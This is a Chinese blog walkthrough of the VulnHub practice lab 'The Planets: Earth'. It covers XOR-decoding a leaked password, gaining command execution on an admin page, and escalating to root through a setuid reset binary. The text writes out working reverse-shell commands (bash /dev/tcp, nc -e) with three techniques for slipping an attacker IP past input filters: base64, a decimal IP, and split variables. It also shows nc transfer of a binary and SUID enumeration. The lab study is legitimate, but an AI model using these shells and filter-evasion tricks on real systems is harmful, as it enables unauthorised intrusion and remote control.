靶场练习第二天

靶场练习第二天~vulnhub靶场之 THE PLANETS: EARTH

一. 信息收集:

1.Nmap扫描
因为kali与靶机在同一网段下,直接arp-scan -l扫描即可

THE PLANETS EARTH_01

2.接着扫描开放端口,发现443端口存在DNS解析,在hosts文件中添加DNS解析

THE PLANETS EARTH_02

使用sudo vim /etc/hosts添加两个hosts文件

THE PLANETS EARTH_03

3.收集earth.local信息

THE PLANETS EARTH_04

发现有受保护的信息如下:

Previous Messages:

37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40

3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45

2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a

接着再进行目录扫描,扫描其他有用的信息:

发现admin登陆页面

THE PLANETS EARTH_05

THE PLANETS EARTH_06

4.收集terratest.earth.local信息:

对该站点域名进行目录扫描,发现robots.txt文件

THE PLANETS EARTH_07

访问robots.txt文件,发现有个testingnotes文件,但是不知道该文件类型

THE PLANETS EARTH_08

经过尝试之后,发现后缀为txt,访问存在以下内容:

THE PLANETS EARTH_09

文件内容说管理员用户名是:terra,还有另一个文件testdata.txt用作XOR加密的key

THE PLANETS EARTH_10

二. 漏洞攻击

1.破解密码

利用在线解密工具【CyberChef】,解密最初加密的三条代码内容

前两条内容解码后均为乱码内容,第三条内容则为重复性的字符:

earthclimatechangebad4humans

THE PLANETS EARTH_11

2.使用解密的密码登录前面的admin页面:

THE PLANETS EARTH_12

THE PLANETS EARTH_13

3.登陆成功之后,发现可以执行系统命令:

THE PLANETS EARTH_14

4.尝试建立一个反弹shell 的连接

命令 nc -lvvp 端口号 是用于在本地计算机上监听指定端口号的网络连接。

具体来说:

nc 是 netcat 命令的简写,是一个网络工具,用于处理网络连接和数据传输。
-l 表示监听模式,让 nc 命令处于监听状态,等待传入的连接。
-v 启用详细输出模式,将显示更多关于连接状态和数据传输的信息。
-p 端口号 指定要监听的端口号。
因此,当你在本地计算机上运行 nc -lvvp 端口号 命令后,该命令会在指定的端口号上启动一个监听器,等待传入的网络连接。一旦有连接请求到达该端口,该命令将接受连接并显示传入数据的相关信息。

请注意,在实际使用时,你需要将 "端口号" 替换为实际要监听的端口号,且确保该端口号未被其他应用程序占用。

【bash -c ‘exec bash -1 &>/dev/tcp/攻击机ip/设置的监听端口号<&1’】

THE PLANETS EARTH_15

连接被拒绝,可能对ip形式的参数进行了过滤,需要进行绕过

5.反弹shell绕过IP

(1)使用base64编码的方式进行绕过:

① 使用nc直接生成反弹shell命令:

echo "nc 192.168.133.129 4444 -e /bin/bash" |base64
# 编码结果如下:
bmMgMTkyLjE2OC4xMzMuMTI5IDQ0NDQgLWUgL2Jpbi9iYXNoCg==

② 只输入base64编码是不行的,还要结合解码命令

echo "bmMgMTkyLjE2OC4xMzMuMTI5IDQ0NDQgLWUgL2Jpbi9iYXNoCg==" | base64 -d |bash

③ 开始监听,并将命令输入到命令执行框,成功反弹shell

接着输入命令:

THE PLANETS EARTH_17

python3 -c "import pty; pty.spawn('/bin/bash')"

这个命令的作用是将当前的终端(python3)转换为一个交互式的bash终端,以便于使用更多的终端命令和工具,提高交互式操作的便利性和效率

具体来说,这条命令使用了pty模块中的spawn函数,该函数可以将当前终端作为一个伪终端(master)来启动一个新的进程(shell),从而使得用户可以像在普通终端中一样使用交互式的shell命令。

在这个例子中,新启动的进程是/bin/bash,也就是一个Bash shell。因此,当这个命令执行成功后,用户就可以通过当前的python3终端来执行所有的bash命令了。

(2)IP地址转换计算绕过:

① 将反弹shell 的攻击机IP进行地址转换:

THE PLANETS EARTH_18

② 接着编写反弹shell 的连接:

bash -c 'exec bash -i &>/dev/tcp/3232269697/4444 <&1'

③ 使用nc开启监听,成功反弹shell

THE PLANETS EARTH_19

(3)拆分ip,绕过检查

① 编写反弹shell 的连接命令:

bash -c ‘exec bash -1 &>/dev/tcp/攻击机ip/设置的监听端口号<&1’

② 开始拆分ip,绕过检查,然后执行。export将变量变为全局变量,不加只会在168之前生效,不会再后面生效

监听的ip地址为攻击机的。不是靶机的ip

export ip1="192.168";export ip2=".133.129";bash -c 'exec bash -i &>/dev/tcp/$ip1$ip2/4444<&1'

声明:
这个命令 export ip1="192.168";export ip2=".133.129";bash -c ‘exec bash -i &>/dev/tcp/$ip1$ip2/4444<&1’ 旨在在目标主机上建立一个反向 shell 连接,但与先前的命令有些不同。

具体来说:

export ip1="192.168" 和 export ip2=".133.129" 是将两个环境变量 ip1 和 ip2 分别设置为封装 IP 地址的一部分。ip1 被设置为字符串 "192.168",ip2 被设置为字符串 ".133.129"。
bash -c ‘exec bash -i &>/dev/tcp/$ip1$ip2/4444<&1’ 是要执行的命令字符串,其中 $ip1 和 $ip2 是之前设置的环境变量的引用。
在命令字符串中:

exec bash -i 创建一个新的 Bash Shell,并打开一个交互式会话(保持输入输出连接)。
&>/dev/tcp/$ip1$ip2/4444 是将该 Bash Shell 的标准输入、输出和错误都重定向到指定的 IP 地址和端口号。在这里,使用了之前设置的环境变量 ip1 和 ip2 来构建 IP 地址。
<&1 是将标准输入重定向为之前创建的网络套接字,以便从网络接收输入。
总结起来,该命令的目的是在目标主机上启动一个反向 shell,通过环境变量 ip1 和 ip2 动态构建 IP 地址,并与远程控制者建立连接。通过该连接,你可以执行命令、交互等操作。

需要注意的是,在实际使用中,请确保遵守适用法律和道德规范,并获得合法授权或者与安全团队协调,以避免非法使用或不当使用。同时,确保设置的 IP 地址和端口在网络环境中是可达的。

③ 输入命令,开启监听,成功反弹shell:

THE PLANETS EARTH_20

三. 权限提升:

1.查找有权限的命令:

find / -perm -u=s -type f 2>/dev/null

声明:

当然,以下是解释您提供的命令:

  • find /:这个命令从根目录/开始,在整个文件系统中查找文件。
  • -perm -u=s:这个选项用来查找具有setuid(设置用户ID)权限的文件。setuid是一种特殊的权限位,当用户执行带有setuid权限的文件时,该程序将以文件所有者的权限运行,而不是当前用户的权限。
  • -type f:指定只查找普通文件(而非目录或其他类型的特殊文件)。
  • 2>/dev/null:这部分将标准错误输出重定向到/dev/null,它是一个特殊的设备,会丢弃掉所有传递给它的数据。这样做的目的是隐藏因为没有足够权限而导致的错误信息。

综上所述,这条命令会搜索整个系统中所有设置了setuid权限的普通文件,并忽略那些因为权限不足而无法访问的路径产生的错误。这样的文件可能需要管理员特别关注,因为它们可能被滥用以获得提升的权限。

find / -name "*flag*"

命令 find / -name "*flag*" 在 Unix-like 系统中的作用是查找文件系统中所有包含 "flag" 文字的文件名。这里对每个部分进行解释:

  • find:这是在 Unix 和类似系统中用于搜索文件的常用工具。
  • /:这告诉 find 命令从根目录开始搜索,也就是整个文件系统。
  • -name "*flag*":这个参数指定了搜索条件。-name 表示按照文件名来查找匹配的文件,而 "*flag*" 是一个模式匹配表达式,其中 * 是一个通配符,它可以匹配任何字符序列(包括零个字符)。因此该表达式会匹配所有文件名中包含 "flag" 的文件。

请注意,在使用 shell 时,最好将模式匹配表达式用引号(单引号或双引号都可以)引起来,防止 shell 对通配符进行扩展导致命令行行为不符合预期。

如果你想要执行这个 find 命令,但又不想看到由于权限问题产生的错误信息,你可以将错误输出重定向到 /dev/null,如下所示:

find / -name "*flag*" 2>/dev/null

这样,任何因为没有足够权限而无法读取目录内容而产生的错误信息都会被忽略。

THE PLANETS EARTH_21

2.进行提权:

① 发现/usr/bin/目录下有reset_root文件,尝试执行一下,执行后报错如下:

检查如果复位触发器存在....

复位失败,所有触发器不存在。

THE PLANETS EARTH_22

② 把二进制文件可以编码输入的字符串找出来

strings reset_root 是一个用于提取二进制文件中可打印字符串的命令。下面是命令中的参数解释:

  • strings:用于提取二进制文件中可打印字符串的命令。
  • reset_root:指定要提取字符串的目标二进制文件。

THE PLANETS EARTH_23

③ 将reset_root内容读入到靶机的4445端口

在攻击机开启监听,

nc -lvvp 4445 > reset_root

并在靶机中使用nc开启4445端口将reset_root文件传入到

nc 192.168.133.129 4445 < /usr/bin/reset_root

THE PLANETS EARTH_24

④ 接着将传入的文件赋予可执行权限,然后运行此文件

运行后还是报错

⑤ 利用kali工具ghidra,一个逆向工具,将二进制文件还原成可读性高的工具

THE PLANETS EARTH_26

没有项目,新建一个项目,点击File→New project→Next

THE PLANETS EARTH_27

THE PLANETS EARTH_28

image-20240408095210586

THE PLANETS EARTH_30

选择并导入文件后,点击ok然后开始分析

THE PLANETS EARTH_33

THE PLANETS EARTH_34

还有其他内容显示:

THE PLANETS EARTH_35

⑥ 再使用kali的工具:“Itrace”

Itrace是一个用于跟踪和输出程序库函数调用的工具

发现没有这个工具 【-1】是没有的意思

THE PLANETS EARTH_36

⑦ 添加这三个开关

【-p】递归建立

mkdir -p /dev/shm/kHgTFI5G /dev/shm/Zw7bV9U5 /tmp/kcM0Wewe

并且赋予该文件root权限,属有组,再执行reset_root,发现密码重置为Earth

THE PLANETS EARTH_37

⑧ 那么就可以在靶机上创建并添加这三个开关,然后执行文件“reset_root”,即可将密码重置为Earth

THE PLANETS EARTH_38

THE PLANETS EARTH_39

成功获取root权限

本博客内容均属原创,未经允许严禁转载!
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇
Copyright ©2024 版权所有 万维屋
Theme Argon
| 耗时 0.084 秒 | 查询 10 次 | 内存 4.63 MB |